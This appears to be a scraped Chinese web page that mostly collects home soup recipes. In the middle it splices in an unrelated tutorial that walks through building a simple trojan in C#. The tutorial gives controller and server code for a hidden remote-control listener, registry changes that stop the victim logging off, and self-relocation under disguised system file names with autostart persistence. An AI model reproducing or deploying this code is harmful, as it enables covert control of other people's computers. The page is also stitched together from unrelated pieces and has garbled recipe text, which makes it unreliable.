简单的汤类科学做法
例如，无花果瘦肉汤、冬瓜海带瘦肉汤、干土茯苓扁豆荷包豆猪骨汤、白扁豆淮山煲猪骨汤等等。
此外，还有很多其他种类的汤，如滋补汤、清热解毒汤、减肥汤等等。
可以根据自己的需要选择不同的汤品。
小编还为您整理了以下内容，可能对您也有帮助：做什么汤简单又好喝喝汤是我们家的习惯，饭前
【菜科解读】
做汤的菜谱有很多种，可以根据自己的口味和需求选择。
例如，无花果瘦肉汤、冬瓜海带瘦肉汤、干土茯苓扁豆荷包豆猪骨汤、白扁豆淮山煲猪骨汤等等。
此外，还有很多其他种类的汤，如滋补汤、清热解毒汤、减肥汤等等。
可以根据自己的需要选择不同的汤品。
小编还为您整理了以下内容，可能对您也有帮助：做什么汤简单又好喝喝汤是我们家的习惯，饭前饭后一碗汤，营养又健康，这是我们从小养成的习惯。
下面来看看这7种家常汤的做法吧。
【第一种汤：糊辣汤】食材：猪红、豆腐、酸笋、木耳、瘦肉、醋、葱、盐、胡椒粉、姜、生粉。
做法:1、锅洗净倒入清水煮开，再往锅中放入胡椒粉、盐、醋、姜，盖上锅盖煮开。
2、调料煮开后，把猪红、豆腐、酸笋、木耳、瘦肉全部倒入锅里一起混煮。
3、全部食材煮开后，生粉对适量水倒入锅中煮I分钟关火，撤入葱花，盛出即可。
【第二种汤:紫菜蛋花汤】食材:紫菜、鸡蛋、瘦肉、香葱、香菜1.瘦肉切成薄片，打俩个鸡蛋，同肉一起朝一个方向拌几下。
2.锅中倒入青水煮可，把紫菜和肉倒入锅中。
3.待所有的材料煮开了，关火撒入葱花、香菜，出锅即可。
【第三种汤:玉米猪骨汤】食材:玉米、猪骨、葫萝卜1.葫萝卜切段，玉米切段，猪骨洗净去血水。
2.将玉米、葫萝卜全部倒入汤锅，然后倒猪骨进去，最后倒入清水，盖上锅煲。
【第四种汤:黄花菜鸡尖汤】食材:黄花菜、鸡尖1.黄花菜泡发，鸡尖洗净过开水，去血水。
2.将所有的材料全部放入锅中，加清水过汤料2-3lm厘米。
3.待汤煲好后加点盐，盛出即可以喝。
【第五种汤:木瓜汤】食材:木瓜、黄豆、骨头1.木瓜去皮洗净，切小块，黄豆用温水先泡半小时。
2.将木瓜、黄豆、骨头全部倒入锅中煲一小时。
3.煲好后放少许盐即可食用。
【第六种汤:莲藕汤】食材:莲藕、骨头1.莲藕去切块，备用。
2.把所有的材料倒入锅中，加入清水。
3.中火慢慢煲，煲好后放点盐，即可以出锅。
【第七做汤:苦瓜汤】食材:苦瓜、黄豆、鸡脚、鸡脖、碎骨1.苦瓜去瓢，洗净切块。
2把所有的汤料全部倒入锅，倒入清水煲。
3.煲半个钟头，加点盐装出盘就可以了。
做法简单点的家常汤类有哪些西红柿鸡蛋汤。
白菜豆腐汤。
猪血韭菜汤。
酸辣汤。
几乎都是十分钟就能搞定的汤了。
西红柿汤的做法：1、准备所用材料。
2、将两个西红柿用刀切成小丁。
3、将鸡蛋打入碗中，用干净筷子或打蛋器打散成蛋液。
4、锅中倒入油，大火加热，放入西红柿煸炒。
炒至西红柿出红汤后，倒入开水继续用大火煮至汤色变红。
5、再次煮开后将蛋液打螺旋倒入，这时不要搅动汤，待鸡蛋液成蛋花状后再缓缓把蛋花搅匀。
6、最后加适量盐调味，盛起时撒上香菜或葱花即可。
如何煮一道简单美味的汤?苦瓜排骨汤常见于炎炎夏季寻常百姓的餐桌之上，老幼皆宜的佳肴。
可以说这是一道家常菜，所以每家的做法都会有些区别，今天我要分享的是广东比较常见的做法，下面一起来看看吧。
苦瓜排骨黄豆汤的做法：【主材料】：2根排骨 600克、1个苦瓜（473克）、黄豆100克。
【辅助料】：2个蜜枣、1小块陈皮、1块生姜、3根小葱。
【调味料】：花雕酒、料酒、食用盐。
【准备工作】：1、排骨剁成自己喜欢的长度，长一点，短一点都无所谓，做这个汤也可以用猪颈骨、猪扇骨、猪大骨、猪尾骨来做。
在购买排骨的时候可以叫摊主按照你的要求剁好，这样自己就省事多了。
把排骨先清洗一下，把表面的血水和杂质（比如有的还会黏附猪毛在上面之类的杂质）清洗干净后控水备用。
2、苦瓜清洗干净后头尾各切去一些，然后切成3厘米左右的小段，切好后用小刀把中间白色的瓜瓤给挖去，苦瓜主要的苦味就是来自这白色的瓜瓤，挖得越干净，再用小刀刮干净些，苦味就会越小。
如果不喜欢这种形状的话也可以切成大片，只要自己喜欢什么样的就切成什么样。
3、赶时间的话黄豆用多一些的开水加盖泡上半个小时，如果时间充足的话就用冷水浸泡3个小时左右即可。
4、蜜枣清洗一下，生姜切成姜片，陈皮要先浸泡一下，然后清洗干净后再用刀把陈皮的白囊刮去，这样可以减少陈皮的苦味。
5、把生姜切片时的边角料另外放开，小葱打成葱结，这2样用来排骨焯水时用的。
6、砂锅中加入2500克清水，把蜜枣（蜜枣可以减少苦瓜的苦味）、陈皮和姜片加入砂锅中，这个水量大概够4-5个人的量，然后大火烧开备用。
#p#分页标题#e#【具体做法】：1、起锅多加些清水，排骨冷水下锅开始焯水，如果是热水下锅的话，排骨中的血水就会被闷在里面出不来，这样炖出来的排骨汤就不清了。
2、锅中还要加入准备好的姜片和葱结，还有少量的料酒去腥，大火把水烧开后再煮3分钟左右。
在锅中的水沸腾时，血沫也就开始会出现，我们及时把这些浮沫给撇干净，这样浮沫就更不会黏附在排骨的上面，我们在清洗排骨的时候也就不会那么麻烦了。
3、排骨焯好水后捞出，然后用热水冲洗一下，把排骨表面的浮沫和杂质给冲洗干净，这样煲出来的汤才清澈不会混浊。
4、把清洗好的排骨倒入砂锅中，再加入20克花雕酒进去，如果没有花雕酒，用料酒的话就算了。
用大火再次把水烧开后改小火加盖煲1个小时。
把排骨的味道先煲出来。
中途开盖看一下，可能还会有少量的浮沫出现，我们及时撇干净即可。
5、在排骨煲够1个小时之后我们要把苦瓜和黄豆进行焯水，焯水的目的就是苦瓜去苦涩味，黄豆去豆腥味，如果黄豆是用开水来浸泡的，那么就没必要焯水。
锅中的水沸腾后把苦瓜和黄豆一起倒入锅内，很多人做苦瓜排骨汤的时候都会直接省略这一步，但是煲出来的汤的品质很多时候就体现在每个细节之中。
6、苦瓜和黄豆下锅后的焯水时间不宜太久，等锅中的水再次沸腾后煮1分钟左右就可以捞出倒入砂锅之中。
然后改大火烧开，烧开后加盖改最小火煲40分钟。
7、40分钟后开盖，先用勺子把表面的油撇掉，这样的汤就很清爽，喝起来一点都不会有油腻感。
8、把表面的浮油撇干净后就加入8克食用盐调味，盐味可以根据自己的口感进行适当地增减，加好盐后再搅拌几下，把盐味搅拌均匀。
这样一道清火的靓汤就做好了。
小技巧：1、如果能买到新鲜的鸡爪也可以加5个鸡爪进去，鸡爪剁掉脚趾甲后清洗干净，然后和排骨一起下锅。
如果没有新鲜的只有冰鲜的那就算了。
2、如果不想把食材分2次下锅的话，就把排骨、苦瓜、黄豆等所有有食材一次下锅，然后煲1个小时就可以。
3、老火靓汤是用时间煨出来的，如果用高压锅只需10多分钟，但是这样压出来的跟砂锅煲出来的，对于一个吃货来说是有天壤之别，无法比拟的。
如何煮一道简单美味的汤?一、【冬瓜肉片汤】冬瓜是夏季清热消暑的利器，含水量充足，与肉片一起煮成汤，营养又消暑，老人孩子都能喝，不妨在这闷热的三伏天多做给家人喝。
文章图片11、冬瓜表皮清洗干净，切成薄厚均匀的片，里脊肉切成薄片，里脊肉放入小碗中，碗中加入2勺生抽、少量的料酒、半勺蚝油、葱段和姜丝，用手抓匀，继续加入1勺淀粉和适量的油，再次用手揉抓。
2、砂锅中加入适量的清水，大火煮开后转小火，下入冬瓜片，继续煮1分钟左右。
文章图片23、下入腌好的肉片，用铲子将肉片在锅中迅速地打散，转大火煮2分钟左右，加入少量的盐，少量的鸡精调味后，即可出锅。
4、加入盐和鸡精调味，搅拌均匀即可出锅。
二、【绿豆百合薏米羹】在酷热的盛夏来一碗冰爽的绿豆汤，赶走身上的暑热，也不失为一种解暑降温的好方法。
不过北方的自来水大多呈碱性，其含有较多的矿物质，煮好的绿豆汤容易变红，所以在煮绿豆汤时最好使用纯净水，颜色青绿不发红。
文章图片31、食材准备好后，将绿豆、薏米、百合等食材简单地清洗一遍，冲洗干净。
2、清洗干净后，绿豆和薏米用水浸泡1—2小时，百合、莲子浸泡半个小时，让食材充分吸饱水分，这样能缩短煮的时间。
文章图片43、电饭锅中加入适量的清水，倒入薏米、绿豆、百合和莲子，按煮饭键焖煮15分钟就可以了。
4、煮好后打开锅盖，加入冰糖，搅拌均匀后盖上盖子，利用余温再焖2分钟，让冰糖融化即可，一碗清甜可口的绿豆百合薏米羹就做好了。
三、【丝瓜肉丝汤】丝瓜味道香甜、口感嫩滑，我家经常用它与肉丝一起煮成汤，荤素搭配、味道鲜香，与排骨汤比口感一点也不差，营养也很充足。
文章图片51、丝瓜用清水清洗干净，用刮皮刀刮掉表皮，切成细丝，里脊肉冲洗干净，顺着纹路切成细丝放入碗中，加入生抽、少量的盐、姜丝、小葱段揉抓均匀，继续加入适量盐和淀粉再次揉抓均匀，腌制5分钟左右。
2、锅中加入适量的油，油温5成热时，倒入大约50克的面粉，用铲子不断地搅拌，这时要用小火，以免糊锅。
文章图片63、待面粉微微变黄散发出面香味后，倒入1碗热水，转大火将水煮至沸腾。
#p#分页标题#e#4、倒入肉丝，用铲子将肉丝迅速打散，煮2分钟左右，倒入切好的丝瓜，加入少量的盐，少量的胡椒粉、味精，搅拌均匀使调味料与汤完全融合就可以了。
用C#实现简单木马程序
一个完整的木马系统由硬件部分，软件部分和具体连接部分组成。
这里主要对软件部分介绍，它主要有控制端程序、木马程序（后台服务程序）、木马配制程序组成。
控制端用以远程控制服务端的程序；木马程序是潜入服务端内部，获取其操作权限的程序；木马配制程序是设置木马程序的端口号，触发条件，木马名称等，使其在服务端藏的更隐蔽的程序。
使用的技术：控制端程序发送控制码控制服务器，服务器后台运行，修改注册表达到控制的目的。
技术不是很难的，主要体现C#的网络编程和注册表的修改。
控制端开发：控制端向服务器发出一段控制码，服务端（木马程序）收到控制码后，根据控制的要求，完成指定的要求，如果服务器完成工作，返回成功的信息。
控制端的开发：控制码的设定你可以自已设定，不需要详解，主要有以下几个难点。
1、连接请求使用了.NET类中的 System.Net.Sockets.TcpClient类,TcpClient(string hostname,int port)Hostname 是要控制的主机名称，当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类private void button7_Click(object sender, System.EventArgs e){//记录操作,在richTextBox控件中增加操作信息richTextBox1.AppendText("请求连接" +textBox1.Text +" ");int port =6678;try{//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口client = new TcpClient(textBox1.Text,port);}catch{MessageBox.Show("服务器不在线!确定是否输入主机名称.");richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");}}//private void buttion2、测试是否与被控制机连接上。
程序的流程是发送控制码看控制端是否有反应，如果有返回则显示控制成功。
//提供网络访问的数据流//private NetworkStream stream;代码如下：private void button8_Click(object sender, System.EventArgs e){//纪录操作 richTextBox1.AppendText("测试连接" +" ");try{stream = client.GetStream();if(stream.CanWrite){//发送控制码string control = "jiance";byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());stream.Write(by,0,by.Length);//下次使用stream.Flush();//启动接收反回数据的线程//receive是线程执行的函数，见后面的分析threadReceive = new Thread(new ThreadStart(receive));threadReceive.Start();}}catch(Exception ee){richTextBox1.AppendText (ee.Message+" ");MessageBox.Show(ee.Message);}}3、控制生效的代码private void button9_Click(object sender, System.EventArgs e){//这里是确定要发送的控制码，RadioButton是窗体控件if(radioButton1.Checked){ control = form2.zhucex;}else if(radioButton2.Checked){ control =form3.zhuces;}else if(radioButton3.Checked){ control = warring;}else if(radioButton4.Checked){ control =suggest;}else if(radioButton5.Checked){ control =form4.mumawe;}else if(radioButton6.Checked){ control =drop;}if (control =="000000"){ MessageBox.Show("你没有输入任何控制目标!不发控制信号");richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");}else if(control != "000000"){try{//记录操作richTextBox1.AppendText (control + "正在试图控制,等待回应......" + " ");stream = client.GetStream();if(stream.CanWrite ){byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());stream.Write(by,0,by.Length);stream.Flush();threadReceive =new Thread(new ThreadStart(receive));threadReceive.Start();}//endif}//trycatch{richTextBox1.AppendText("服务器未连接1控制无效!" +" ");MessageBox.Show("服务器未连接1控制无效!" +" ");}}//else if}4、线程执行的函数private void receive(){//设置读取数据的空间byte[] bb = new byte[3];//读取3个字节,i为实际读取的字节数int i = stream.Read(bb,0,3);//转换成字符串，如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);string ss = System.Text.Encoding.ASCII.GetString(bb);//hjc为我设置的服务器的返回码 hjc为连接成功，hkz为控制成功if(ss=="hjc"){MessageBox.Show("连接成功");richTextBox1.AppendText("连接成功");}if(ss== "hkz"){richTextBox1.AppendText(control +"控制成功"+" ");MessageBox.Show(control +"控制成功"+" ");}}服务端的开发：要实现木马服务的程序，主要实现以下几个功能：后台的运行（隐藏技术），控制码的接收与注册表的修改，下面对这三方面做介绍：1、在VC#中，建立一个后台服务程序是很容易的，先建立一个新的C#的Windows应用程序，项目名称自定（不过为了隐藏可使用与系统相近的名称），将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示，并将属性“Windowstate”属性设为 Mininized即可，这样窗体就可以隐藏运行了。
当然你也可以在InitializeComponent()设置，此函数起初始化的作用，在窗体显示前运行，代码如下：private void InitializeComponent(){//// Form1////窗体显示的起点和大小this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);this.ClientSize = new System.Drawing.Size(368, 357);//窗体名称this.Name = "Form1";//设置属性让它后台运行this.ShowInTaskbar = false;this.Text = "Form1";this.WindowState = System.Windows.Forms.FormWindowState.Minimized;}2、控制代码的接收，必需在服务程序运行开始就启动，所以侦听线程必需在程序初始化中启动，所以放在窗体的构造函数中，代码注解如下：public Form1() //窗体的构造函数{//// Windows 窗体设计器支持所必需的//InitializeComponent();//// TODO: 在 InitializeComponent 调用后添加任何构造函数代码//加入你的侦听代码//端口你可以自已设定,我使用了固定的端口int port =6678;//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的listener = new TcpListener(port);//启动侦听listener.Start();//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()//reControlCode 是线程启动执行的函数，此函数根据接收的控制//控制码选取合适的注册表修改函数Thread thread = new Thread(new ThreadStart(reControlCode));thread.Start();}reControlCode函数如下，完整代码见程序private void reControlCode(){//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求socket = listener.AcceptSocket();//如果连接成功执行while (socket.Connected){//接收控制码byte [] by =new byte[6];int i = socket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);//根据控制码执行不同的功能//修改注册表加入编码switch (ss){case "jiance"://测试连接,返回测试信息string str ="hjc";byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case "zx1000"://修改注册表函数,自已定义，见下面分析UnLogOff();//返回控制消息retMessage();break; case "zx0100"://修改注册表函数UnClose();//返回控制消息retMessage();break;//重复的case功能与前面一样,略掉default:break;}//case}//while} //private void reControlCode 3、C#中实现注册表的修改，使用了.NET类库中的System.Microsoft.Win32命令空间，它提供两种类型的类：处理由操作系统引发的事件的类和对系统注册表进行操作的类。
下面就可以看到它的用法。
这里我做了一个修改注册表的子程序：使计算机不能注销。
在这之前先了解注册表，在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer下面设键值NoLogOff 为 1 即可使计算机无法注销。
在下面的函数中用C#实现对注册表的修改：private void UnLogOff(){//得到主机的注册表的顶级节点Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;//设置一个注册表子键的变量RegistryKey key1;try{//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键//registrykey是用户指定的键值，canwrite 为true则可修改，默认为fasle不可改key1 =rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);//设置子键的键名，和值key1.SetValue ("NoLogOff",1);//关闭打开的子键key1.Close();//警告字符串设定mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改！请将它置为0!";}catch{}//如果不存在自已建立if(key1 ==null){try{ //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改！请将它置为0!";}catch{}}}4、在木马程序中还有一个重要的功能就是自我的复制和转移。
木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。
转移的代码分析如下，主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe，同时换名称。
使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。
这里我们使用了System.IO.File类。
-- -www.bianceng.cnprivate void moveCC1(){try{//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用//sourceFileName为要移动的文件名，destFileName为文件的新路径File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");}catch {}//将新移的木马程序设为自启动.分析和前面一样try{key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");key1.Close();}catch{}if(key1 ==null){try{RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");key1.Close();}catch{}}} //moveCC1()到这里一个简单的C#的木马就完成了。
用,实现,简单,木马,程序,用,实现,木马,程序,
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系统安装示例4 5.接着软件开始下载系统并做系统安装前的一些准备工作。
win7安装教程示例5 6.win7系统安装前的所有准备工作完成，点击立即重启按钮即可。
安装系统示例6 7.之后电脑自动重启，进入win7系统安装过程，耐心等待系统安装完毕即可。
安装系统示例7 8.一段时间的等待后系统安装完毕，进入win7系统桌面。
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